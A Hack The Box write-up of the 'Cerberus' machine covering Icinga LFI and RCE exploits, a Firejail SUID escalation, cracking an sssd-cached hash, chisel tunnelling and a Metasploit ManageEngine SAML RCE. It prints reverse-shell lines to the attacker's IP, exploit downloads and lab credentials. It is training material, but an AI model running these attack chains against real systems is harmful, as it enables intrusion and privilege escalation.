Cerberus

Cerberus is a Hard Difficulty Windows machine that initially presents a scant range of open services. The primary point of entry is through exploiting a pre-authentication vulnerability in an outdated “Icinga” web application, which then leads to Remote Code Execution (RCE) and subsequently a reverse shell within a Linux container. Here, a “Firejail” “SUID” binary is discovered, which can be manipulated for privilege escalation inside the container using “CVE-2022–31214”. Further investigation reveals that the machine utilizes “Kerberos” authentication with “sssd”, harboring a cached credential hash. Once cracked, this credential can is reused on the host machine, although this necessitates the forwarding of the “WinRM” port for access. Various local ports, some specific to “ADSelfService Plus”, are found active on the host machine, authenticated through “SAML”, and linked to a known CVE (“CVE-2022–47966”) with an available Metasploit module. The final hurdle involves careful enumeration of the filesystem to locate a “ManageEngine” backup, which provides the necessary data for exploiting “ADSS SAML” authentication.

ENUMERATION

Lets begin as always with an Nmap Scan:

target=127.0.0.1; nmap -T4 -p$(nmap -Pn -T4 $target | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) -Pn -sVC $target

PORT STATE SERVICE VERSION
8080/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://icinga.cerberus.local:8080/icingaweb2

The machine seems to be Ubuntu Linux from the nmap scan. It shows only an open port 8080 over http that redirects to a domain

echo "10.10.11.205 icinga.cerberus.local iceinga.cerberus.local DC.cerberus.local" >> /etc/hosts

http://icinga.cerberus.local:8080/icingaweb2

On the site we have a webapp called icinga and it’s login page. Looking for CVE and the icinga version we are redirected to portswigger

https://portswigger.net/daily-swig/brace-of-icinga-web-vulnerabilities-easily-chained-to-hack-it-monitoring-software

They talk here about:

“Icinga created a route for even unauthenticated attackers to run arbitrary PHP code and hijack systems”

https://github.com/JacobEbben/CVE-2022-24716

Using this exploit i have LFI

There are 2 users on the machine:

root:x:0:0:root:/root:/bin/bash
matthew:x:1000:1000:matthew:/home/matthew:/bin/bash

The “/etc/hosts” file points to a DC

172.16.22.1 DC.cerberus.local DC cerberus.local

This 172 subnet it is typically a container ip. Looking to common icinga2 files we have this:

https://icinga.com/docs/icinga-2/latest/doc/04-configuration/#your-configuration

Looking for icinga web documentation:

https://icinga.com/docs/icinga-web/latest/doc/03-Configuration/

Apart from its web configuration capabilities, the local configuration is stored in “/etc/icingaweb2” by default (depending on your configuration setup).

File/Directory Description

config.ini: General configuration (global, logging, themes, etc.)

resources.ini: Global resources (Icinga Web 2 database for preferences and authentication, Icinga 2 IDO database)

roles.ini: User specific roles (e.g. administrators) and permissions

authentication.ini: Authentication backends (e.g. database)

EXPLOITATION

From the “resources.ini” we got some creds:

python exploit.py 'http://icinga.cerberus.local:8080/icingaweb2' '/etc/icingaweb2/resources.ini'

[icingaweb2]
type = "db"
db = "mysql"
host = "localhost"
dbname = "icingaweb2"
username = "matthew"
password = "IcingaWebPassword2023"
use_ssl = "0"

From “roles.ini” we see user “mathew” is on the “administrators” group:

python exploit.py 'http://icinga.cerberus.local:8080/icingaweb2' '/etc/icingaweb2/roles.ini'

[Administrators]
users = "matthew"
permissions = "*"
groups = "Administrators"
unrestricted = "1"

There is a database called icingaweb2:

python exploit.py 'http://icinga.cerberus.local:8080/icingaweb2' '/etc/icingaweb2/authentication.ini'

[icingaweb2]
backend = "db"
resource = "icingaweb2"

Using the creds we logged into the app as “mathew” aka “administrator”

Looking on the site we get the database is using MYSQL

in this article we see how to go from “LFI to RCE on icingaweb2”:

https://www.sonarsource.com/blog/path-traversal-vulnerabilities-in-icinga-web/

Remote Code Execution (CVE-2022–24715)

From te same author than the first exploit we got another exploit for this CVE:

https://raw.githubusercontent.com/JacobEbben/CVE-2022-24715/main/exploit.py

This is a fairly complicated exploit so luckily we have this exploit.

Let’s create a pair of RSA keys:

ssh-keygen -m pem

!!!!!!!!!!!!!!!bbxdxswwiGenerating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): ./id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./id_rsa
Your public key has been saved in ./id_rsa.pub
The key fingerprint is:
SHA256:i4I7EYXNLV6VTcBWbWG3P3tM7hTgiCHtkWUOx0XSq2M root@Kali
The key's randomart image is:
+ - -[RSA 3072] - - +
| + . ooB+**+. |
| . = o = Oo+o . |
| o o o = o .o |
| . . o + o… |
| . So … oo|
| .. . . E ++|
| … . . . . .=|
| .. . o.|
| .. .|
+ - - [SHA256] - - -+

Now we use the exploit:

python icinga_RCE_CVE-2022–24715.py -t 'http://icinga.cerberus.local:8080/icingaweb2' -I 10.10.14.98 -P 5555 -u matthew -p IcingaWebPassword2023 -e id_rsa

[INFO] Attempting to login to the Icinga Web 2 instance…
[INFO] Attempting to upload our malicious module…
[SUCCESS] The payload appears to be uploaded successfully!
[INFO] Modifying configurations…
[INFO] Attempting to enable the malicious module…
[INFO] Trying to trigger payload! Have a listener ready!
[SUCCESS] It appears that a reverse shell was started!
[INFO] Removing malicious module file…
[INFO] Disabling malicious module…
[INFO] Resetting website configuration…
[SUCCESS] Cleanup successful! Shutting down…
[ALERT] In the process of exploitation, the application logging has been turned off. Log in manually to reset these settings!

And in our nc listener:

nc -nlvp 5555
listening on [any] 5555 …
connect to [10.10.14.98] from (UNKNOWN) [10.10.11.205] 49838
bash: cannot set terminal process group (627): Inappropriate ioctl for device
bash: no job control in this shell
www-data@icinga:/usr/share/icingaweb2/public$

The creds for the user matthew does not work to change to this user on the machine.

Get joseml’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

From Linpeas we get:

-rwsr-xr-x 1 root root 464K Jan 19 2022 /usr/bin/firejail (Unknown SUID binary)

Looking into it:

www-data@icinga:/dev/shm$ /usr/bin/firejail - help
/usr/bin/firejail - help
firejail - version 0.9.68rc1
Firejail is a SUID sandbox program that reduces the risk of security breaches by
restricting the running environment of untrusted applications using Linux
namespaces.

Looking for it in google we find this:

https://nvd.nist.gov/vuln/detail/CVE-2022-31214

Looking for this CVE we find this:

https://seclists.org/oss-sec/2022/q2/188

mv firejoin_py.bin firejoin.py

Let’s download the exploit into the machine:

www-data@icinga:/dev/shm$ wget http://10.10.14.98:8000/firejoin.py
wget http://10.10.14.98:8000/firejoin.py
 - 2023–04–12 20:52:54 -  http://10.10.14.98:8000/firejoin.py
Connecting to 10.10.14.98:8000… connected.
HTTP request sent, awaiting response… 200 OK
Length: 8651 (8.4K) [text/x-python]
Saving to: 'firejoin.py'
0K …….. 100% 3.62M=0.002s
2023–04–12 20:52:54 (3.62 MB/s) - 'firejoin.py' saved [8651/8651]

Using the exploit:

www-data@icinga:/dev/shm$ python3 firejoin.py
python3 firejoin.py

In other terminal we look for the PID of our exploit process:

www-data@icinga:/usr/share/icingaweb2/public$ ps -aux - forest
ps -aux - forest
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
www-data 827 0.0 1.6 294476 14624 ? S 20:29 0:00 \_ php-fpm: pool www
www-data 1161 0.0 0.0 2888 872 ? S 20:29 0:00 | \_ sh -c bash -c 'exec bash -i &>/dev/tcp/10.10.14.98/5555 <&1'
www-data 1162 0.0 0.3 4624 3412 ? S 20:29 0:00 | \_ bash -i
www-data 9009 0.0 1.2 16740 10764 ? S 20:53 0:00 | \_ python3 firejoin.py
www-data 9010 0.0 0.2 4336 2304 ? S 20:53 0:00 | \_ firejail - noprofile - sleep 10d
www-data 9011 0.0 0.1 4336 1780 ? S 20:53 0:00 | | \_ firejail - noprofile - sleep 10d
www-data 9013 0.0 0.1 3164 1052 ? S 20:53 0:00 | | \_ sleep 10d
www-data 9014 0.0 1.2 16856 10896 ? S 20:53 0:00 | \_ /usr/bin/python3 /dev/shm/firejoin.py

Now we do the final part of the exploit:

www-data@icinga:/usr/share/icingaweb2/public$ firejail - join=9014
firejail - join=9014
Warning: cleaning all supplementary groups
changing root to /proc/9014/root
Child process initialized in 17.67 ms
su -
id
uid=0(root) gid=0(root) groups=0(root)
# after upgrade the shell:
root@icinga:~/cleanup#

So we are root on the container of the icinga2 application.

Using Linpeas i see:

root 561 0.0 1.2 93916 11076 ? Ss 20:29 0:00 /usr/sbin/sssd -i - logger=files
root 822 0.0 1.8 98216 16424 ? S 20:29 0:00 _ /usr/libexec/sssd/sssd_be - domain cerberus.local - uid 0 - gid 0 - logger=files
root 1036 0.0 1.8 109128 16744 ? S 20:29 0:00 _ /usr/libexec/sssd/sssd_nss - uid 0 - gid 0 - logger=files
root 1037 0.0 1.6 83340 15084 ? S 20:29 0:00 _ /usr/libexec/sssd/sssd_pam - uid 0 - gid 0 - logger=files
-rw - - - - 1 root root 446 Mar 1 12:05 /etc/sssd/sssd.conf
[sssd]
domains = cerberus.local
config_file_version = 2
services = nss, pam
[domain/cerberus.local]
default_shell = /bin/bash
ad_server = cerberus.local
krb5_store_password_if_offline = True
cache_credentials = True
krb5_realm = CERBERUS.LOCAL
realmd_tags = manages-system joined-with-adcli
id_provider = ad
fallback_homedir = /home/%u@%d
ad_domain = cerberus.local
use_fully_qualified_names = True
ldap_id_mapping = True
access_provider = ad
-rw-r - r - 1 root root 169 Oct 4 2022 /usr/lib/x86_64-linux-gnu/sssd/conf/sssd.conf
[sssd]
domains = shadowutils
[nss]
[pam]
[domain/shadowutils]
id_provider = files
auth_provider = proxy
proxy_pam_target = sssd-shadowutils
proxy_fast_alias = True
You could use SSSDKCMExtractor to extract the tickets stored here
-rw - - - - 1 root root 1638400 Mar 1 12:11 /var/lib/sss/secrets/secrets.ldb

╔══════════╣ Searching uncommon passwd files (splunk)
passwd file: /var/lib/sss/mc/passwd
╔══════════╣ Searching passwords inside logs (limit 70)
password: $6$HkKm5zbYWwK3tAcR$btg9SAayzruD.TQj9VsJKL5sv2QceAZ2wWxkXvfj6xEtWO3YkkjusQVge/IBPgOt66sVssNEvAbjhR7fhJcg5.

This password seems not crackable, neither the /etc/shadow.

Looking for “sss” on ChatGPT:

SSSD (System Security Services Daemon) Linux is a software package that provides a set of daemons to manage access to remote directories and authentication mechanisms such as LDAP, Kerberos, and Active Directory. It is typically used in enterprise environments to centralize user and authentication information and simplify access control across multiple systems.

SSSD runs as a daemon on Linux systems and provides a set of pluggable modules that can handle authentication, authorization, and user information retrieval from various sources. It integrates with the system’s PAM (Pluggable Authentication Modules) framework and provides a centralized way of managing authentication and authorization policies.

In summary, SSSD Linux is a tool that can help organizations streamline their authentication and access control processes across multiple systems, by providing a centralized and flexible mechanism for managing user credentials and access policies.

Let’s find the binary:

root@icinga:~# find / -type d -iname "sss" 2>/dev/null
/var/lib/sss

On “/var/lib/sss/db” i used:

strings *

and those lines stands out:

name=matthew@cerberus.local,cn=users,cn=cerberus.local,cn=sysdb
$6$6LP9gyiXJCovapcy$0qmZTTjp9f2A0e7n4xk0L6ZoeKhhaCNm0VGJnX/Mu608QkliMpIy1FwKZlyUJAZU3FZ3.GQ.4N6bb9pxE3t3T0

Using john it cracks instantly

From our notes we got that the DC IP is 172.16.22.1

With this oneliner we check if “winrm” is open:

(echo '' > /dev/tcp/172.16.22.1/5985) 2>/dev/null && echo "[+] Puerto abierto"

I used chisel to forward this port to my machine:

On the attacker machine run this:

./chisel server -reverse -port 55555
2023/04/13 00:08:36 server: Reverse tunnelling enabled
2023/04/13 00:08:36 server: Fingerprint /5BWQX7iLxDyQtImSG4lC6ER7ozQI5Lmc8K9/CDnAng=
2023/04/13 00:08:36 server: Listening on http://0.0.0.0:55555
2023/04/13 00:11:14 server: session#1: tun: proxy#R:5985=>172.16.22.1:5985: Listening

On the container run this:

./chisel client 10.10.14.98:55555 R:5985:172.16.22.1:5985
2023/04/12 22:11:15 client: Connecting to ws://10.10.14.98:55555
2023/04/12 22:11:15 client: Connected (Latency 31.9836ms)

Like that we can access the port 5985 in localhost and it will be forwarded to the container on the same port.

evil-winrm -i localhost -u matthew -p 147...SNIP...69

Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\matthew\Documents> whoami
cerberus\matthew
*Evil-WinRM* PS C:\Users\matthew\Documents>

Like that we finally break out of the container and we are in the main host and got user

ROOT

On the machine we run a powershell scan to see the open ports

*Evil-WinRM* PS C:\Users\matthew\Documents> 1..10000 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.10.11.205",$_)) "Port $_ is open!"} 2>$null

Port 53 is open!
Port 80 is open!
Port 88 is open!
Port 135 is open!
Port 139 is open!
Port 389 is open!
Port 443 is open!
Port 445 is open!
Port 464 is open!
Port 593 is open!
Port 636 is open!
Port 808 is open!
Port 1500 is open!
Port 1501 is open!
Port 2179 is open!
Port 3268 is open!
Port 3269 is open!
Port 5985 is open!
Port 8080 is open!
Port 8888 is open!
Port 9251 is open!
Port 9389 is open!

We will check the easiest ports first those tied to HTTP (usually)

I have used “evil-winrm” to upload chisel.exe on the windows host

*Evil-WinRM* PS C:\Users\matthew\Documents> upload /opt/chisel.exe
Info: Uploading /opt/chisel.exe to C:\Users\matthew\Documents\chisel.exe
Data: 9803092 bytes of 9803092 bytes copied
Info: Upload successful!

In our attacking machine:

./chisel server -reverse -port 55556
2023/04/13 00:25:05 server: Reverse tunnelling enabled
2023/04/13 00:25:05 server: Fingerprint m10WtXdwEujm3oO/GDIpflizfnNL9ozo43LYPTGzJOc=
2023/04/13 00:25:05 server: Listening on http://0.0.0.0:55556
2023/04/13 00:26:52 server: session#1: tun: proxy#R:80=>80: Listening

In the host:

Evil-WinRM* PS C:\Users\matthew\Documents> ./chisel.exe client 10.10.14.98:55556 R:80:localhost:80 R:443:localhost:443 R:8888:localhost:8888 R:9251:localhost:9251
chisel.exe : 2023/04/12 15:30:10 client: Connecting to ws://10.10.14.98:55556
+ CategoryInfo : NotSpecified: (2023/04/12 15:3….10.14.98:55556:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
2023/04/12 15:30:10 client: Connected (Latency 33.7406ms)

port 8888 => redirects to port 9251 over HTTPS

https://localhost:9251/authorization.do

The title of the page is “ADSelfService Plus”

The service is pointing to “dc.cerberus.local”

Wen need to add “127.0.0.1 dc.cerberus.local” to “/etc/hosts” allows te page to load corectly.

Using these creds let us enter on the site:

matthew@cerberus.local : 147…SNIP…69

The answer when login is

https://dc:9251/samlLogin/67a8d101690402dc6a6744b8fc8a7ca1acf88b2f

Looking on google for “ManageEngine ADSelfService Plus saml rce” we got this:

https://www.rapid7.com/db/modules/exploit/multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966/

I had to update metasploit because my version was too old and it does not had this module.

>> use exploit/multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966
>> set GUID 67a8d101690402dc6a6744b8fc8a7ca1acf88b2f
GUID => 67a8d101690402dc6a6744b8fc8a7ca1acf88b2f
>> set ISSUER_URL http://dc.cerberus.local/adfs/services/trust
ISSUER_URL => http://dc.cerberus.local/adfs/services/trust
>> set LPORT 6666
LPORT => 6666
>> set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
>> set LHOST tun0
LHOST => tun0
>> exploit
[*] Started reverse TCP handler on 10.10.14.4:6666
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated.
[*] Sending stage (175686 bytes) to 10.10.11.205
[*] Meterpreter session 1 opened (10.10.14.4:6666 -> 10.10.11.205:61849) at 2023–03–31 00:44:16 +0200
(Meterpreter 1)(C:\Program Files (x86)\ManageEngine\ADSelfService Plus\bin) > shell
Process 2116 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.4010]
© 2018 Microsoft Corporation. All rights reserved.
C:\Program Files (x86)\ManageEngine\ADSelfService Plus\bin>whoami
whoami
nt authority\system

Owned Cerberus from Hack The Box!

Congratulations! We have successfully completed this machine. Thank you for reading!